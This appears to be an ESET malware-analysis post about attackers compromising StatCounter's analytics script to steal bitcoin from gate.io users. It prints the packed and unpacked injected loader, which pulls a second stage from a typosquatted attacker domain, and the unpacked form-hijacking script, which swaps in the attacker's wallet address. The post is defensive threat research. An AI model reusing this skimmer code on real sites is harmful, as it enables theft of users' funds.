Latest ESET research shows just how far attackers will go in order to steal bitcoin from customers of one specific virtual currency exchange

[Update on Wednesday, November 7] On November 6, StatCounter removed the malicious script. Several hours before, Gate.io stopped using StatCounter analytics services to prevent further infections. Thus, this incident is now resolved and both websites can be browsed safely.

On November 3, attackers successfully breached StatCounter, a leading web analytics platform. This service is used by many webmasters to gather statistics on their visitors – a service very similar to Google Analytics. To do so, webmasters usually add an external JavaScript tag incorporating a piece of code from StatCounter – www.statcounter[.]com/counter/counter.js – into each webpage. Thus, by compromising the StatCounter platform, attackers can inject JavaScript code in all websites that use StatCounter.

According to their website, StatCounter has more than 2 million member sites and it computes stats on more than 10 billion page views per month. This information is in line with its Alexa rank being a bit above 5000. For comparison, the official website of the Debian Linux distribution, debian.org, has a similar Alexa rank.

Attackers modified the script at www.statcounter[.]com/counter/counter.js by adding a piece of malicious code, shown in “prettified” form below, in the middle of the script. This is unusual, as attackers generally add malicious code at the beginning, or at the end, of a legitimate file. Code injected into the middle of an existing script is typically harder to detect via casual observation.

eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {})); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 eval ( function ( p , a , c , k , e , r ) { e = function ( c ) { return c . toString ( a ) } ; if ( ! '' . replace ( / ^ / , String ) ) { while ( c -- ) r [ e ( c ) ] = k [ c ] || e ( c ) ; k = [ function ( e ) { return r [ e ] } ] ; e = function ( ) { return '\\w+' } ; c = 1 } ; while ( c -- ) if ( k [ c ] ) p = p . replace ( new RegExp ( '\\b' + e ( c ) + '\\b' , 'g' ) , k [ c ] ) ; return p } ( '3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}' , 26 , 26 , 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild' . split ( '|' ) , 0 , { } ) ) ;

The script is packed with the Dean Edwards packer, which is probably the most popular JavaScript packer. However, it can be trivially unpacked, resulting in the actual script code to be run, as seen below.

myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); } 1 2 3 4 5 6 7 myselfloc = '' + document . location ; if ( myselfloc . indexOf ( 'myaccount/withdraw/BTC' ) > - 1 ) { var ga = document . createElement ( 'script' ) ; ga . src = 'https://www.statconuter.com/c.php' ; ga . setAttribute ( 'async' , 'true' ) ; document . documentElement . firstChild . appendChild ( ga ) ; }

This piece of code will first check if the URL contains myaccount/withdraw/BTC. Thus, we can already guess that the attackers’ goal is to target a Bitcoin platform. If the check passes, the script continues to add a new script element to the webpage and incorporating the code at https://www.statconuter[.]com/c.php.

Notice that the attackers registered a domain very similar to the legitimate StatCounter one, statcounter[.]com. They just switched two letters, which can be hard to notice while scanning logs for unusual activity. Interestingly, by checking the passive DNS of the domain, we noticed that this domain had already been suspended in 2010 for abuse.

As explained above, the script targets a specific Uniform Resource Identifier (URI): myaccount/withdraw/BTC. It turns out that among the different cryptocurrency exchanges live at time of writing, only gate.io has a valid page with this URI. Thus, this exchange seems to be the main target of this attack. This exchange is quite popular, with an Alexa rank of 26,251 and even 8,308 in China.

Also, according to coinmarketcap.com, several million dollars, including USD 1.6 million in just bitcoin transactions, transit this platform every day. Thus, it could be very profitable for attackers to steal cryptocurrency at a large scale on this platform.

The webpage https://www.gate[.]io/myaccount/withdraw/BTC, shown below, is used to transfer bitcoin from a gate.io account to an external Bitcoin address.

Perhaps unsurprisingly, it turns out that the second stage payload, from statconuter[.]com/c.php, is designed to steal bitcoins. Thus, it makes sense to inject the script into the gate.io bitcoin transfer webpage. This script also is packed with the Dean Edwards packer. The unpacked version is shown below.

document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } }; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 document . forms [ 0 ] [ 'addr' ] . value = '' ; document . forms [ 0 ] [ 'amount' ] . value = '' ; doSubmit1 = doSubmit ; doSubmit = function ( ) { var a = document . getElementById ( 'withdraw_form' ) ; if ( $ ( '#amount' ) . val ( ) > 10 ) { document . forms [ 0 ] [ 'addr' ] [ 'name' ] = '' ; var s = $ ( "<input type='hidden' name='addr'/>" ) ; s . attr ( 'value' , '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad' ) ; var b = $ ( '#withdraw_form' ) ; b . append ( s ) ; a . submit ( ) ; } else if ( document . getElementById ( 'canUse' ) . innerText > 10 ) { document . forms [ 0 ] [ 'addr' ] [ 'name' ] = '' ; var s = $ ( "<input type='hidden' name='addr'/>" ) ; s . attr ( 'value' , '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad' ) ; var b = $ ( '#withdraw_form' ) ; b . append ( s ) ; document . forms [ 0 ] [ 'amount' ] [ 'name' ] = '' ; var t = $ ( "<input type='hidden' name='amount'/>" ) ; t . attr ( 'value' , Math . min ( document . getElementById ( 'canUse' ) . innerText , document . getElementById ( 'dayLimit' ) . innerText ) ) ; b . append ( t ) ; a . submit ( ) ; } else { doSubmit1 ( ) ; } } ;

In the genuine gate.io webpage, there is already a doSubmit function, called when the user clicks on the submit button, but here the attackers redefine it.

The script automatically replaces the destination Bitcoin address with an address belonging to the attackers, for example 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. The malicious server generates a new Bitcoin address each time a visitor loads the statconuter[.]com/c.php script. Thus, it is hard to see how many bitcoins have been transferred to the attackers.

Depending on whether the victim enters an amount above 10 BTC or not, the attackers’ script will either use it or use the victim’s account’s daily withdrawal limit. In our test account, the withdrawal limit is set to 100 BTC by default. Finally, the malicious script submits the form, which executes the transfer from the victim’s account to the attackers’ wallet.

This redirection is probably unnoticeable to the victims, since the replacement is performed after they click on the submit button. Thus, it will happen very quickly and would probably not even be displayed.

As a new Bitcoin address is generated each time the malicious script is sent to the victim, we were not able to see how many bitcoins the attackers have gathered. For instance, if we check the address we received on our test machine, the balance is 0 BTC.

Conclusion

Even if we do not know how many bitcoins have been stolen during this attack, it shows how far attackers go to target one specific website, in particular a cryptocurrency exchange. To achieve this they compromised an analytics service’s website, used by more than two million other websites, including several government-related websites, to steal bitcoin from customers of just one cryptocurrency exchange website.

It also shows that even if your website is updated and well protected, it is still vulnerable to the weakest link, which in this case was an external resource. This is another reminder that external JavaScript code is under the control of a third party and can be modified at any time without notice.

We notified both StatCounter and gate.io as soon as we discovered this malicious activity.

For any inquiries, or to make sample submissions related to the subject, please contact us at threatintel@eset.com.

Indicators of Compromise

Malicious URLs